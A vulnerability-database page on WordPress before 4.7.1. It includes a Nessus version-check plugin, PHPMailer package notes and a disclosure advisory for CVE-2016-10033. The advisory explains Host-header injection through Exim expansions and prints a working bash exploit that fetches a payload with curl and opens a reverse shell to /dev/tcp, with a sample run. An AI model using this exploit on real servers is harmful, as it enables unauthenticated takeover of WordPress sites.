    descriptionAccording to its self-reported version number, the WordPress application running on the remote web server is prior to 4.7.1. It is, therefore, affected by multiple vulnerabilities : - A remote code execution vulnerability exists in the PHPMailer component in the class.phpmailer.php script due to improper handling of sender email addresses. An unauthenticated, remote attacker can exploit this to pass extra arguments to the sendmail binary, potentially allowing the attacker to execute arbitrary code. (CVE-2016-10033, CVE-2016-10045) - An information disclosure vulnerability exists in the REST API implementation due to a failure to properly restrict listings of post authors. An unauthenticated, remote attacker can exploit this, via a wp-json/wp/v2/users request, to disclose sensitive information. (CVE-2017-5487) - Multiple cross-site scripting (XSS) vulnerabilities exist in the update-core.php script due to improper validation of input to the plugin name or version header. An unauthenticated, remote attacker can exploit these, via a specially crafted request, to execute arbitrary script code in a user
    last seen2020-06-01
    modified2020-06-02
    plugin id96606
    published2017-01-18
    reporterThis script is Copyright (C) 2017-2019 and is owned by Tenable, Inc. or an Affiliate thereof.
    sourcehttps://www.tenable.com/plugins/nessus/96606
    titleWordPress < 4.7.1 Multiple Vulnerabilities
    code
    #
# (C) Tenable Network Security, Inc.
#

include("compat.inc");

if (description)
{
  script_id(96606);
  script_version("1.13");
  script_cvs_date("Date: 2019/11/13");

  script_cve_id(
    "CVE-2016-10033",
    "CVE-2016-10045",
    "CVE-2017-5487",
    "CVE-2017-5488",
    "CVE-2017-5489",
    "CVE-2017-5490",
    "CVE-2017-5491",
    "CVE-2017-5492",
    "CVE-2017-5493"
  );
  script_bugtraq_id(
    95108,
    95130,
    95391,
    95397,
    95399,
    95401,
    95402,
    95406,
    95407
  );
  script_xref(name:"EDB-ID", value:"40968");
  script_xref(name:"EDB-ID", value:"40969");
  script_xref(name:"EDB-ID", value:"40970");
  script_xref(name:"EDB-ID", value:"40964");
  script_xref(name:"EDB-ID", value:"40986");

  script_name(english:"WordPress < 4.7.1 Multiple Vulnerabilities");
  script_summary(english:"Checks the version of WordPress.");

  script_set_attribute(attribute:"synopsis", value:
"A PHP application running on the remote web server is affected by
multiple vulnerabilities.");
  script_set_attribute(attribute:"description", value:
"According to its self-reported version number, the WordPress
application running on the remote web server is prior to 4.7.1.
It is, therefore, affected by multiple vulnerabilities :

  - A remote code execution vulnerability exists in the
    PHPMailer component in the class.phpmailer.php script
    due to improper handling of sender email addresses. An
    unauthenticated, remote attacker can exploit this to
    pass extra arguments to the sendmail binary, potentially
    allowing the attacker to execute arbitrary code.
    (CVE-2016-10033, CVE-2016-10045)

  - An information disclosure vulnerability exists in the
    REST API implementation due to a failure to properly
    restrict listings of post authors. An unauthenticated,
    remote attacker can exploit this, via a
    wp-json/wp/v2/users request, to disclose sensitive
    information. (CVE-2017-5487)

  - Multiple cross-site scripting (XSS) vulnerabilities
    exist in the update-core.php script due to improper
    validation of input to the plugin name or version
    header. An unauthenticated, remote attacker can exploit
    these, via a specially crafted request, to execute
    arbitrary script code in a user's browser session.
    (CVE-2017-5488)

  - A cross-site request forgery (XSRF) vulnerability exists
    due to improper handling of uploaded Flash files. An
    unauthenticated, remote attacker can exploit this, via a
    specially crafted Flash file, to hijack the
    authentication of users. (CVE-2017-5489)

  - A cross-site scripting (XSS) vulnerability exists in the
    class-wp-theme.php script due to improper validation of
    input when handling theme name fallback. An
    unauthenticated, remote attacker can exploit this, via a
    specially crafted request, to execute arbitrary script
    code in a user's browser session. (CVE-2017-5490)

  - A security bypass vulnerability exists in the
    wp-mail.php script due to improper validation of mail
    server names. An unauthenticated, remote attacker can
    exploit this, via a spoofed mail server with the
    'mail.example.com' name, to bypass intended security
    restrictions. (CVE-2017-5491)

  - A cross-site request forgery (XSRF) vulnerability exists
    in the widget-editing accessibility-mode feature due to
    a failure to require multiple steps, explicit
    confirmation, or a unique token when performing certain
    sensitive actions for HTTP requests. An unauthenticated,
    remote attacker can exploit this, by convincing a user
    to follow a specially crafted URL, to hijack the
    authentication of users or cause them to edit widgets.
    (CVE-2017-5492)

  - A security bypass vulnerability exists in the
    ms-functions.php script due to the use of weak
    cryptographic security for multisite activation keys. An
    unauthenticated, remote attacker can exploit this, via a
    specially crafted site sign-up or user sign-up, to
    bypass intended access restrictions. (CVE-2017-5493)

Note that Nessus has not tested for these issues but has instead
relied only on the application's self-reported version number.");
  # https://wordpress.org/news/2017/01/wordpress-4-7-1-security-and-maintenance-release/
  script_set_attribute(attribute:"see_also", value:"http://www.nessus.org/u?dede5367");
  script_set_attribute(attribute:"see_also", value:"https://codex.wordpress.org/Version_4.7.1");
  script_set_attribute(attribute:"see_also", value:"https://core.trac.wordpress.org/query?milestone=4.7.1");
  # http://www.eweek.com/security/wordpress-4.7.1-updates-for-8-security-issues
  script_set_attribute(attribute:"see_also", value:"http://www.nessus.org/u?f07608c3");
  script_set_attribute(attribute:"solution", value:
"Upgrade to WordPress version 4.7.1 or later.");
  script_set_cvss_base_vector("CVSS2#AV:N/AC:L/Au:N/C:P/I:P/A:P");
  script_set_cvss_temporal_vector("CVSS2#E:F/RL:OF/RC:C");
  script_set_cvss3_base_vector("CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H");
  script_set_cvss3_temporal_vector("CVSS:3.0/E:F/RL:O/RC:C");
  script_set_attribute(attribute:"cvss_score_source", value:"CVE-2016-10033");

  script_set_attribute(attribute:"exploitability_ease", value:"No exploit is required");
  script_set_attribute(attribute:"exploit_available", value:"true");
  script_set_attribute(attribute:"exploit_framework_core", value:"true");
  script_set_attribute(attribute:"metasploit_name", value:'PHPMailer Sendmail Argument Injection');
  script_set_attribute(attribute:"exploit_framework_metasploit", value:"true");

  script_set_attribute(attribute:"vuln_publication_date", value:"2016/12/24");
  script_set_attribute(attribute:"patch_publication_date", value:"2017/01/11");
  script_set_attribute(attribute:"plugin_publication_date", value:"2017/01/18");

  script_set_attribute(attribute:"potential_vulnerability", value:"true");
  script_set_attribute(attribute:"plugin_type", value:"remote");
  script_set_attribute(attribute:"cpe", value:"cpe:/a:wordpress:wordpress");
  script_end_attributes();

  script_category(ACT_GATHER_INFO);
  script_family(english:"CGI abuses");

  script_copyright(english:"This script is Copyright (C) 2017-2019 and is owned by Tenable, Inc. or an Affiliate thereof.");

  script_dependencies("wordpress_detect.nasl");
  script_require_keys("www/PHP", "installed_sw/WordPress", "Settings/ParanoidReport");
  script_require_ports("Services/www", 80, 443);

  exit(0);
}

include("vcf.inc");
include("http.inc");

if (report_paranoia < 2) audit(AUDIT_PARANOID);

app = "WordPress";
port = get_http_port(default:80, php:TRUE);

app_info = vcf::get_app_info(app:app, port:port, webapp:TRUE);
vcf::check_granularity(app_info:app_info, sig_segments:2);

constraints = [
  { "fixed_version":"3.7.17", "fixed_display" : "3.7.17 / 4.7.1" },
  { "min_version":"3.8", "fixed_version":"3.8.17", "fixed_display" : "3.8.17 / 4.7.1" },
  { "min_version":"3.9", "fixed_version":"3.9.15", "fixed_display" : "3.9.15 / 4.7.1" },
  { "min_version":"4.0", "fixed_version":"4.0.14", "fixed_display" : "4.0.14 / 4.7.1" },
  { "min_version":"4.1", "fixed_version":"4.1.14", "fixed_display" : "4.1.14 / 4.7.1" },
  { "min_version":"4.2", "fixed_version":"4.2.11", "fixed_display" : "4.2.11 / 4.7.1" },
  { "min_version":"4.3", "fixed_version":"4.3.7", "fixed_display" : "4.3.7 / 4.7.1" },
  { "min_version":"4.4", "fixed_version":"4.4.6", "fixed_display" : "4.4.6 / 4.7.1" },
  { "min_version":"4.5", "fixed_version":"4.5.5", "fixed_display" : "4.5.5 / 4.7.1" },
  { "min_version":"4.6", "fixed_version":"4.6.2", "fixed_display" : "4.6.2 / 4.7.1" },
  { "min_version":"4.7", "fixed_version":"4.7.1", "fixed_display" : "4.7.1" }
];

vcf::check_version_and_report(
  app_info:app_info,
  constraints:constraints,
  severity:SECURITY_HOLE,
  flags:{xss:TRUE, xsrf:TRUE}
);
  • NASL familyF5 Networks Local Security Checks
    NASL idF5_BIGIP_SOL73926196.NASL
    descriptionThe isMail transport in PHPMailer before 5.2.20 might allow remote attackers to pass extra parameters to the mail command and consequently execute arbitrary code by leveraging improper interaction between the escapeshellarg function and internal escaping performed in the mail function in PHP. NOTE: this vulnerability exists because of an incorrect fix for CVE-2016-10033. (CVE-2016-10045)
    last seen2020-06-01
    modified2020-06-02
    plugin id100280
    published2017-05-19
    reporterThis script is Copyright (C) 2017-2019 and is owned by Tenable, Inc. or an Affiliate thereof.
    sourcehttps://www.tenable.com/plugins/nessus/100280
    titleF5 Networks BIG-IP : PHPMailer vulnerability (K73926196)
  • NASL familyFedora Local Security Checks
    NASL idFEDORA_2016-6941D25875.NASL
    description**Version 5.2.21** (December 28th 2016) - Fix missed number update in version file - no functional changes ---- **Version 5.2.20** (December 28th 2016) - **SECURITY** Critical security update for CVE-2016-10045 please update now! Thanks to [Dawid Golunski](https://legalhackers.com) and Paul Buonopane (Zenexer). ---- ** Version 5.2.19** (December 26th 2016) - Minor cleanup ** Version 5.2.18** (December 24th 2016) - **SECURITY** Critical security update for CVE-2016-10033 please update now! Thanks to [Dawid Golunski](https://legalhackers.com). - Add ability to extract the SMTP transaction ID from some common SMTP success messages - Minor documentation tweaks ** Version 5.2.17** (December 9th 2016) - This is officially the last feature release of 5.2. Security fixes only from now on; use PHPMailer 6.0! - Allow DKIM private key to be provided as a string - Provide mechanism to allow overriding of boundary and message ID creation - Improve Brazilian Portuguese, Spanish, Swedish, Romanian, and German translations - PHP 7.1 support for Travis-CI - Fix some language codes - Add security notices - Improve DKIM compatibility in older PHP versions - Improve trapping and capture of SMTP connection errors - Improve passthrough of error levels for debug output - PHPDoc cleanup Note that Tenable Network Security has extracted the preceding description block directly from the Fedora update system website. Tenable has attempted to automatically clean and format it as much as possible without introducing additional issues.
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    description============================================= - Discovered by: Dawid Golunski - dawid[at]legalhackers.com - https://legalhackers.com - CVE-2016-10033 - Release date: 03.05.2017 - Revision 1.0 - Severity: Critical ============================================= I. VULNERABILITY ------------------------- WordPress Core 4.6 - Unauthenticated Remote Code Execution (RCE) PoC Exploit (default configuration, no plugins, no auth) II. BACKGROUND ------------------------- "WordPress is a free and open-source content management system (CMS) based on PHP and MySQL. WordPress was used by more than 27.5% of the top 10 million websites as of February 2017. WordPress is reportedly the most popular website management or blogging system in use on the Web, supporting more than 60 million websites." https://en.wikipedia.org/wiki/WordPress III. INTRODUCTION ------------------------- This advisory reveals details of exploitation of the PHPMailer vulnerability (CVE-2016-10033) in WordPress Core which (contrary to what was believed and announced by WordPress security team) was affected by the vulnerability. The Remote Code Execution attack could be used by unauthenticated remote attackers to gain instant access to the target server on which a vulnerable WordPress core version was installed in its default configuration which could lead to a full compromise of the target application server. No plugins or non-standard settings are required to exploit the vulnerability. This advisory reveals new exploitation vectors for PHP mail() function discovered by the author that allow to exploit the vulnerability on a most popular MTA (Mail Transfer Agent) - Exim which can be found installed by default on many system such as Debian or Ubuntu, as opposed to rarely used Sendmail MTA that has been thought to be a requirement for mail() injection attacks to date. Due to critical severity of this vulnerability, disclosure of new exploitation vectors that increase the range of this type of attacks, and the ease of mass exploitation, the release of this advisory was delayed by an extended period of time to allow WordPress and other potentially affected software vendors enough time to update affected mail libraries. The release was also delayed to allow WordPress team more time for patching another WordPress vulnerability (CVE-2017-8295) which will be described in detail in a separate advisory shortly. IV. DESCRIPTION ------------------------- The following snippet of code from WordPress 4.6 - file wp-includes/pluggable.php: if ( !isset( $from_email ) ) { // Get the site domain and get rid of www. $sitename = strtolower( $_SERVER['SERVER_NAME'] ); if ( substr( $sitename, 0, 4 ) == 'www.' ) { $sitename = substr( $sitename, 4 ); } $from_email = 'wordpress@' . $sitename; } /** * Filters the name to associate with the "from" email address. * * @since 2.3.0 * * @param string $from_name Name associated with the "from" email address. */ $from_name = apply_filters( 'wp_mail_from_name', $from_name ); $phpmailer->setFrom( $from_email, $from_name ); shows that WordPress sets the email domain based on SERVER_NAME server header when WordPress wp_mail() function is called to send an email (e.g. upon user registration, forgotten password etc.). As we can see the from address is formed as follows: $from_email = 'wordpress@' . $sitename; It is then filtered and passed to a vulnerable setFrom() function of PHPMailer which was explained in detail in the previous advisories: https://legalhackers.com/advisories/PHPMailer-Exploit-Remote-Code-Exec-CVE-2016-10045-Vuln-Patch-Bypass.html https://legalhackers.com/advisories/PHPMailer-Exploit-Remote-Code-Exec-CVE-2016-10033-Vuln.html Injection ============== SERVER_NAME server header can be manipulated on default configurations of Apache Web server (most common WordPress deployment) via HOST header of a HTTP request. To illustrate, here is a request and response of a simple php script vars.php that simply prints out relevant parts of server headers ($_SERVER PHP array): GET /vars.php HTTP/1.1 Host: xenialINJECTION HTTP/1.1 200 OK Server: Apache Array ( [HTTP_HOST] => xenialINJECTION [SERVER_SOFTWARE] => Apache/2.4.18 (Ubuntu) [SERVER_NAME] => xenialinjection ... As we can see, INJECTION string appended to the hostname in HOST header gets copied to both HTTP_HOST and SERVER_NAME PHP variables. Using this HOST header example, if an attacker triggered wp_mail() function by using the forgotten password WordPress feature, the HTTP request would be similar to: POST /wordpress/wp-login.php?action=lostpassword HTTP/1.1 Host: xenialINJECT Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Content-Type: application/x-www-form-urlencoded Content-Length: 56 Cookie: wordpress_test_cookie=WP+Cookie+check Connection: close user_login=admin&redirect_to=&wp-submit=Get+New+Password and would result in the following parameters passed to /usr/sbin/sendmail : Arg no. 0 == [/usr/sbin/sendmail] Arg no. 1 == [-t] Arg no. 2 == [-i] Arg no. 3 == [-fwordpress@xenialinject] What is interesting here is the 3rd parameter. The domain part of the email matches the HOST header of the request, except for lower-case "inject". Bypassing the filters ======================= To exploit the PHPMailer's mail() injection vulnerability, an attacker would have to be able to append parameters to the domain part. However, the filtration/validation in place (both on the wordpress side as well as PHPMailer library side) would prevent the attacker from injecting white-characters (such as space or TAB) and therefore from injecting parameters to sendmail binary. For example, if attacker modified the HOST header to the following: POST /wordpress/wp-login.php?action=lostpassword HTTP/1.1 Host: xenialINJECT SPACE the validation would result in invalid domain part error and WordPress application would exit with http response of: HTTP/1.0 500 Internal Server Error In which case wp_mail() and therefore the vulnerable PHPMailer functions would never be reached (sendmail binary would not be executed). The validateAddress() function of PHPMailer library as well as PHP's filter_var/FILTER_VALIDATE_EMAIL are both complient with RFC 822 standard as we can read at: http://php.net/manual/en/filter.filters.validate.php which prohibits spaces in the domain part and thus prevents injection of additional parameters to /usr/sbin/sendmail. It should be noted that the technique of injecting additional \ backslash characters to the username part of the email presented in PHPMailer advisory: http://legalhackers.com/advisories/PHPMailer-Exploit-Remote-Code-Exec-CVE-2016-10033-Vuln.html would not be an option for the attacker as username part of the from address cannot be controlled in this case. RFC 822 and comment syntax -------------- Looking at the RFC 822 specs however, a potential way to bypass the validation was found. According to: https://www.ietf.org/rfc/rfc822.txt email addresses can contain comments: " 3.4.3. COMMENTS A comment is a set of ASCII characters, which is enclosed in matching parentheses and which is not within a quoted-string The comment construct permits message originators to add text which will be useful for human readers, but which will be ignored by the formal semantics. Comments should be retained while the message is subject to interpretation according to this standard. However, comments must NOT be included in other cases, such as during protocol exchanges with mail servers. " The document gives an email example of with comments in brackets: ":sysmail"@ Some-Group. Some-Org, Muhammed.(I am the greatest) Ali @(the)Vegas.WBA as a valid email. A simplified comment example within the domain part would be: [email protected](comment) After further testing, it turned out that comment part can contain spaces in the domain part, and could be used as a way to bypass the validation of the domain part and inject additional parameters to sendmail binary. Injecting parameters via comment syntax ---------------- The following request with the HOST header set to: POST /wordpress/wp-login.php?action=lostpassword HTTP/1.1 Host: xenial(tmp1 injected tmp2) will not cause errors and will result in the following parameters supplied to sendmail : Arg no. 0 == [/usr/sbin/sendmail] Arg no. 1 == [-t] Arg no. 2 == [-i] Arg no. 3 == [-fwordpress@xenial(tmp1] Arg no. 4 == [injected] Arg no. 5 == [tmp2)] As we can see, We have managed to bypass filters/validation provided by Wordpress filter: apply_filters( 'wp_mail_from_name', $from_name ); As well as PHPMailer's internal setFrom() validation. We now have control over the 4th parameter ('injected') and can inject more parameters inbeetwen arg no.3 and no.5 if necessary. In theory we should now be able to inject additional parameters to /usr/sbin/sendmail wrapper to achieve arbitrary code execution. Code Execution via Sendmail MTA ================================= To date, the only known way of achieving remote code execution via PHP mail() exploitation relied on Sendmail MTA being present on the target system. The most common Sendmail MTA vector is similar to: -OQueueDirectory=/tmp/ -X/var/www/html/backdoor.php It typically writes out a log file with a php backdoor contained within the input message. There are 2 problems with this technique however: 1) Sendmail MTA is not commonly used anymore as we can verify by looking at the statistics at: http://www.securityspace.com/s_survey/data/man.201703/mxsurvey.html which show that Sendmail is the least popular among Linux MTAs. It does not ship with any modern Linux distribution and it is not very likely for it to be found installed on a target. 2) The Sendmail technique presented above would not work in the case of the WordPress vulnerability discussed in this advisory. As previously mentioned, hostname copied to SERVER_NAME server variable gets converted into lower-case and therefore injecting Sendmail parameters in a request similar to: POST /wordpress/wp-login.php?action=lostpassword HTTP/1.1 Host: xenial(tmp1 -O -X tmp2) would result in the follwing set of sendmail arguments: Arg no. 0 == [/usr/sbin/sendmail] Arg no. 1 == [-t] Arg no. 2 == [-i] Arg no. 3 == [-fwordpress@xenial(tmp1] Arg no. 4 == [-o] Arg no. 5 == [-x] Arg no. 6 == [tmp2)] Sendmail would fail with an error as arguments are case-sensitive and neither -q nor -x would work. Code execution via Exim4 MTA ================================= While researching the other vulnerabilities in email sending libraries (see previously published advisories for PHPMailer, ZendMail, Swiftmailer), the author of this advisory discovered a new way to achieve command execution with the help of Exim MTA that was previously thought to be immune to mail() injection attacks. This technique has been documented in the white-paper : "Pwning PHP mail() function For Fun And Remote Code Execution" The ability to execute commands through Exim4 MTA opens up many possibilities in regards to exploitation not only of already disclosed vulnerabilities in PHPMailer and other email libraries, but also in regards to mail() function exploitation in general as Exim4 is the most popular MTA available by default on popular Linux distributions such as Debian. The survey confirms the popularity of exim: http://www.securityspace.com/s_survey/data/man.201703/mxsurvey.html This increases the chances of it being present on the remote target and is ideal for a reliable proof of concept exploit of the vulnerability presented in this advisory. Direct code execution with Exim4 MTA -------------------------------- The discovered Exim MTA vector, in its most basic form works in the following way: sendmail -be '${run{/bin/true}{true}{false}}' true The -be switch enables string expansion testing mode. The above expansion executes /bin/true and returns the value from the brackets based on the exit code. Similarly, the expansion: sendmail -be '${run{/bin/bash -c "id"}{yes}{no}}' would execute id command. Note: on systems with Exim4, /usr/sbin/sendmail is just a symlink: /usr/sbin/sendmail -> exim4 and has nothing to do with Sendmail MTA. Sendmail MTA is not required to be present on the system for the technique to work. What is very powerful about this vector is that command execution can be achieved in a reliable way directly through the $run expansion specified as an argument and does not require writing files to /var/www/html or guessing directory paths which is the case in already known Sendmail MTA vector. HOST header restrictions ---------------------------------- The seemingly simple Exim4 vector turned out to be tricky in practice since the presented above expansion string would not work within HOST header. A HTTP request similar to: POST /wordpress/wp-login.php?action=lostpassword HTTP/1.1 Host: xenial(tmp1 slash/ -X tmp2) would be rejected by Apache webserver due to / (slash) character present within the HOST header. The $run function would not work without it as it requires a full path to the binary that is being executed (suggesting that exim4 uses exec() to run it and does not execute commands through system() ). Bypassing restrictions ============================== To bypass restriction of the HOST header several methods were attempted by studying available Exim expansion strings at: http://www.exim.org/exim-html-current/doc/html/spec_html/ch-string_expansions.html Embeded perl ---------------------- One of the expansions that was considered was: ${perl{foo}{argument1}{argument2} ... } however perl is not enabled by default on Exim and therefore would not make the exploit reliable. Encoding --------------------- The family of base64 and HEX encoding/decoding functions were tested but they did not seem to be supported by exim4 used for testing and would result in errors such as: sendmail -be '${base64d:QUI=}' Failed: unknown expansion operator "base64d" Substrings & Environment variables --------------------- Another idea was to use known environment variables in combination with substrings to extract forbidden slash character. For example, the PATH environment variable contains slash: PATH=/bin:/usr/bin and therefore was a good candidate. ${env{PATH}} could be used to retrieve the variable and when connected with $substring expansion, slash could be obtained as can be seen in the following command: sendmail -be '${substr{0}{1}{${env{PATH}}}}' / Unfortunately, this technique led to a dead-end as environment variables such as PATH when inserted within HOST header would be converted to lower-case and thus not work under Linux. Substrings & internal exim4 variables -------------------------------------- With trial and error, the following variable was found to work as expected: sendmail -be '${spool_directory}' /var/spool/exim4 The spool_directory variable is present by default, and does not have capital letters and therefore would work reliably. The slash character could now be replaced with: ${substr{0}{1}{$spool_directory}} to bypass the slash restriction of the HOST header. The following expansion: sendmail -be '${run{/usr/bin/touch /tmp/test}}' Could now be converted to: sendmail -be '${run{${substr{0}{1}{$spool_directory}}usr${substr{0}{1}{$spool_directory}}bin${substr{0}{1}{$spool_directory}}touch ${substr{0}{1}{$spool_directory}}tmp${substr{0}{1}{$spool_directory}}test}}' This worked fine under terminal however when tested within a HTTP request: POST /wordpress/wp-login.php?action=lostpassword HTTP/1.1 Host: xenial(tmp1 -be ${run{${substr{0}{1}{$spool_directory}}usr${substr{0}{1}{$spool_directory}}bin${substr{0}{1}{$spool_directory}}touch ${substr{0}{1}{$spool_directory}}tmp${substr{0}{1}{$spool_directory}}test}} tmp2) it would result in the following sendmail parameters: Arg no. 0 == [/usr/sbin/sendmail] Arg no. 1 == [-t] Arg no. 2 == [-i] Arg no. 3 == [-fwordpress@xenial(tmp1] Arg no. 4 == [-be] Arg no. 5 == [${run{${substr{0}{1}{$spool_directory}}usr${substr{0}{1}{$spool_directory}}bin${substr{0}{1}{$spool_directory}}touch] Arg no. 6 == [${substr{0}{1}{$spool_directory}}tmp${substr{0}{1}{$spool_directory}}test}}] Arg no. 7 == [tmp2)] As we can see, the expansion payload got broken into 2 arguments 5 & 6 instead of one. This prevented Exim from executing the payload properly. The problem was caused by spaces between command parameters (e.g. space after 'touch') Replacing spaces ------------------ First the environment variable IFS was considered, however environment variables would not work properly as previously tested. After further research a convenient internal exim variable was found: sendmail -be '${tod_log}' 2016-01-02 23:49:42 the tod_log variable returns current date in format that contains a space. Similar to the slash replacement, $substring + $tod_log variable could be used to replace the space as was tested with: sendmail -be '${substr{10}{1}{$tod_log}}' PoC HTTP request / minimal PoC exploit ==================================== POST /wordpress/wp-login.php?action=lostpassword HTTP/1.1 Host: xenial(tmp1 -be ${run{${substr{0}{1}{$spool_directory}}usr${substr{0}{1}{$spool_directory}}bin${substr{0}{1}{$spool_directory}}touch${substr{10}{1}{$tod_log}}${substr{0}{1}{$spool_directory}}tmp${substr{0}{1}{$spool_directory}}test}} tmp2) Content-Type: application/x-www-form-urlencoded Content-Length: 56 user_login=admin&redirect_to=&wp-submit=Get+New+Password The above request when sent to WordPress core application would cause exim to be called with the following arguments: Arg no. 0 == [/usr/sbin/sendmail] Arg no. 1 == [-t] Arg no. 2 == [-i] Arg no. 3 == [-fwordpress@xenial(tmp1] Arg no. 4 == [-be] Arg no. 5 == [${run{${substr{0}{1}{$spool_directory}}usr${substr{0}{1}{$spool_directory}}bin${substr{0}{1}{$spool_directory}}touch${substr{10}{1}{$tod_log}}${substr{0}{1}{$spool_directory}}tmp${substr{0}{1}{$spool_directory}}test}}] Arg no. 6 == [tmp2)] which would execute: /usr/bin/touch /tmp/test on the target and create a file /tmp/test as tested on WordPress 4.6. Using this payload logic a working exploit was built which executes a reverse shell on the target. V. PROOF OF CONCEPT EXPLOIT CODE ------------------------- #!/bin/bash # # __ __ __ __ __ # / / ___ ____ _____ _/ / / / / /___ ______/ /_____ __________ # / / / _ \/ __ `/ __ `/ / / /_/ / __ `/ ___/ //_/ _ \/ ___/ ___/ # / /___/ __/ /_/ / /_/ / / / __ / /_/ / /__/ ,< / __/ / (__ ) # /_____/\___/\__, /\__,_/_/ /_/ /_/\__,_/\___/_/|_|\___/_/ /____/ # /____/ # # # WordPress 4.6 - Remote Code Execution (RCE) PoC Exploit # CVE-2016-10033 # # wordpress-rce-exploit.sh (ver. 1.0) # # # Discovered and coded by # # Dawid Golunski (@dawid_golunski) # https://legalhackers.com # # ExploitBox project: # https://ExploitBox.io # # Full advisory URL: # https://exploitbox.io/vuln/WordPress-Exploit-4-6-RCE-CODE-EXEC-CVE-2016-10033.html # # Exploit src URL: # https://exploitbox.io/exploit/wordpress-rce-exploit.sh # # # Tested on WordPress 4.6: # https://github.com/WordPress/WordPress/archive/4.6.zip # # Usage: # ./wordpress-rce-exploit.sh target-wordpress-url # # # Disclaimer: # For testing purposes only # # # ----------------------------------------------------------------- # # Interested in vulns/exploitation? # # # .;lc' # .,cdkkOOOko;. # .,lxxkkkkOOOO000Ol' # .':oxxxxxkkkkOOOO0000KK0x:' # .;ldxxxxxxxxkxl,.'lk0000KKKXXXKd;. # ':oxxxxxxxxxxo;. .:oOKKKXXXNNNNOl. # '';ldxxxxxdc,. ,oOXXXNNNXd;,. # .ddc;,,:c;. ,c: .cxxc:;:ox: # .dxxxxo, ., ,kMMM0:. ., .lxxxxx: # .dxxxxxc lW. oMMMMMMMK d0 .xxxxxx: # .dxxxxxc .0k.,KWMMMWNo :X: .xxxxxx: # .dxxxxxc .xN0xxxxxxxkXK, .xxxxxx: # .dxxxxxc lddOMMMMWd0MMMMKddd. .xxxxxx: # .dxxxxxc .cNMMMN.oMMMMx' .xxxxxx: # .dxxxxxc lKo;dNMN.oMM0;:Ok. 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[y/N] " choice echo if [ "$choice" == "y" ]; then echo -e "\e[92m[*]\033[0m Guess I can't argue with that... Let's get started...\n" echo -e "\e[92m[+]\033[0m Connected to the target" # Serve payload/bash script on :80 RCE_exec_cmd="(sleep 3s && nohup bash -i >/dev/tcp/$rev_host/1337 0<&1 2>&1) &" echo "$RCE_exec_cmd" > rce.txt python -mSimpleHTTPServer 80 2>/dev/null >&2 & hpid=$! # Save payload on the target in /tmp/rce cmd="/usr/bin/curl -o/tmp/rce $rev_host/rce.txt" prep_host_header "$cmd" curl -H"Host: $host_header" -s -d 'user_login=admin&wp-submit=Get+New+Password' $target/wp-login.php?action=lostpassword echo -e "\n\e[92m[+]\e[0m Payload sent successfully" # Execute payload (RCE_exec_cmd) on the target /bin/bash /tmp/rce cmd="/bin/bash /tmp/rce" prep_host_header "$cmd" curl -H"Host: $host_header" -d 'user_login=admin&wp-submit=Get+New+Password' $target/wp-login.php?action=lostpassword & echo -e "\n\e[92m[+]\033[0m Payload executed!" echo -e "\n\e[92m[*]\033[0m Waiting for the target to send us a \e[94mreverse shell\e[0m...\n" nc -vv -l 1337 echo else echo -e "\e[92m[+]\033[0m Responsible choice ;) Exiting.\n" exit 0 fi echo "Exiting..." exit 0 Video PoC ~~~~~~~~~~~~ https://www.youtube.com/watch?v=ZFt_S5pQPX0 Example run ~~~~~~~~~~~~~~~ # ./wordpress-rce-exploit.sh http://wp-host/wordpress/ .;lc' .,cdkkOOOko;. _______ ., ________ ________ _______ \ ___/_ ____ '___\ /_____\ _______\_ _/_ / _/ \\ \/ / __/ // | \_____// \ /_________>> < __/ / /-\ ____ / \ _______/ <___/\___> /________/ /_______> .ddc;,,:c;. ,c: .cxxc:;:ox: .dxxxxo, ., ,kMMM0:. ., .lxxxxx: .dxxxxxc lW. oMMMMMMMK d0 .xxxxxx: .dxxxxxc .0k.,KWMMMWNo :X: .xxxxxx: .dxxxxxc .xN0xxxxxxxkXK, .xxxxxx: .dxxxxxc lddOMMMMWd0MMMMKddd. .xxxxxx: .dxxxxxc .cNMMMN.oMMMMx' .xxxxxx: .dxxxxxc lKo;dNMN.oMM0;:Ok. 'xxxxxx: .dxxxxxc ;Mc .lx.:o, Kl 'xxxxxx: .dxxxxxdl;. ., .. .;cdxxxxxx: .dxxxx ________ ____ _____ xxxxx: .':ox \ /_ ________\ \/ / xxc,. . / / \\ > < x, / / | / /\ \ \_________<_______<____> \____> .':odx.ckxl,. .,.'. | ExploitBox.io | + --=| Wordpress Core - Unauthenticated RCE Exploit | + --=| | + --=| Discovered & Coded By | + --=| Dawid Golunski | + --=| https://legalhackers.com | + --=| | + --=| "With Great Power Comes Great Responsibility" | + --=| * For testing purposes only * | [*] Sure you want to get a shell on the target 'http://wp-host/wordpress/' ? [y/N] y [*] Guess I can't argue with that... Let's get started... [+] Connected to the target [+] Payload sent successfully [+] Payload executed! [*] Waiting for the target to send us a reverse shell... Listening on [0.0.0.0] (family 0, port 1337) Connection from [192.168.57.3] port 1337 [tcp/*] accepted (family 2, sport 39232) bash: cannot set terminal process group (10408): Inappropriate ioctl for device bash: no job control in this shell www-data@xenial:/$ id id uid=33(www-data) gid=33(www-data) groups=33(www-data) www-data@xenial:/$ exit exit exit Exiting... VI. BUSINESS IMPACT ------------------------- Upon a successfull exploitation, a remote unauthenticated attacker would be able to execute arbitrary code on the target server and compromise the target application. VII. SYSTEMS AFFECTED ------------------------- The Remote Code Execution PoC exploit described in this advisory is based on version 4.6 although other versions of WordPress (prior to 4.7.1 which fixed the PHPMailer vulnerability) might also be affected. The advisory presents the exploitation on the example of Exim MTA, the author has also developed another exploit that can also be used on other MTA software. The exploit will be shared shortly after this advisory. VIII. SOLUTION ------------------------- Update to the latest version of WordPress. IX. REFERENCES ------------------------- https://legalhackers.com https://ExploitBox.io Vulnerable WordPress version used for testing/exploitation: https://github.com/WordPress/WordPress/archive/4.6.zip Exploit code: WordPress Core 4.6 - Unauth Remote Code Execution PoC Exploit Video PoC: https://www.youtube.com/watch?v=ZFt_S5pQPX0 WordPress security team announcement: https://wordpress.org/news/2017/01/wordpress-4-7-1-security-and-maintenance-release/ Vendor site: https://wordpress.org Related advisories: https://legalhackers.com/advisories/PHPMailer-Exploit-Remote-Code-Exec-CVE-2016-10045-Vuln-Patch-Bypass.html https://legalhackers.com/advisories/PHPMailer-Exploit-Remote-Code-Exec-CVE-2016-10033-Vuln.html https://legalhackers.com/advisories/SwiftMailer-Exploit-Remote-Code-Exec-CVE-2016-10074-Vuln.html X. CREDITS ------------------------- The vulnerabilities and exim mail() injection vector presented in this advisory were discovered by : Dawid Golunski dawid (at) legalhackers (dot) com 